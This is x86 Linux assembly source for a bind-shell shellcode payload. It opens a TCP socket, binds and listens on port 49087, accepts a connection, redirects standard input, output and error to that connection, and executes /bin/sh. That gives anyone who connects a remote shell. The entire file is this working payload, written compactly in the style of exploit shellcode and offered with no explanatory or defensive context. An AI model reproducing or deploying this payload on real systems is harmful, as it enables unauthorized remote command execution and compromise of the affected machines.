.globl main

main:
	nop
__BEGIN__:
	xor   %ebx, %ebx
socket:
	push  %ebx
	inc   %ebx
	push  %ebx
	push  $0x2
	push  $0x66
	pop   %eax
	cdq
	mov   %esp, %ecx
	int   $0x80
	xchg  %eax, %esi
	
bind:
	push  %edx
	inc   %ebx
	pushw $0xbfbf
	pushw %bx
	mov   %esp, %ecx
	push  $0x66
	pop   %eax
	push  %eax
	push  %ecx
	push  %esi
	mov   %esp, %ecx
	int   $0x80

listen:
	mov   $0x66, %al
	shl   %ebx
	int   $0x80

accept:
	push  %edx
	push  %edx
	push  %esi
	inc   %ebx
	mov   %esp, %ecx
	mov   $0x66, %al
	int   $0x80
	xchg  %eax, %ebx

dup:
	push  $0x2
	pop   %ecx
dup_loop:
	mov   $0x3f, %al
	int   $0x80
	dec   %ecx
	jns   dup_loop

execve:
	push  %edx
	push  $0x68732f2f
	push  $0x6e69622f
	mov   %esp, %ebx
	push  %edx
	push  %ebx
	mov   %esp, %ecx
	mov   $0xb, %al
	int   $0x80 

__END__:
	nop
